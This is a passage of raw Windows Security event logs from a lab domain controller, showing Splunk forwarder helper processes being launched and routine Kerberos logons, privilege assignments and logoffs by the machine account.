	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1200
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:36:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255785
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xef8
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:36:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255787
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1c8
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:36:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=255790
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3654F1

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:36:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=255789
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x3654F1
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		64759

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:36:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=255788
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3654F1

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:37:01 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=255796
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3657C5

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:37:01 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=255795
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x3657C5
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64763

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:37:01 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=255794
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3657C5

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:37:01 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=255793
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x365759

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:37:01 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=255792
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x365759
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64762

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:37:01 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=255791
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x365759

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:37:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=255803
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x366167
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64766

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:37:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=255802
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x366167

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:37:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=255801
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x36611E
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		0

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:37:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=255800
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x36611E

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:37:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=255799
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x366010
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64765

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:37:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=255798
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x366010

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:37:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255797
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x11b0
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:37:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255809
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x12a0
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:37:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=255808
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x366010

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:37:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=255807
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x36611E

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:37:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=255806
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x366167

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:37:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=255805
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x36620C
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{250C95BA-D7BE-68DE-E803-AA7B4845FE00}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64767

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:37:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=255804
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x36620C

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:37:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255811
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x13b4
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
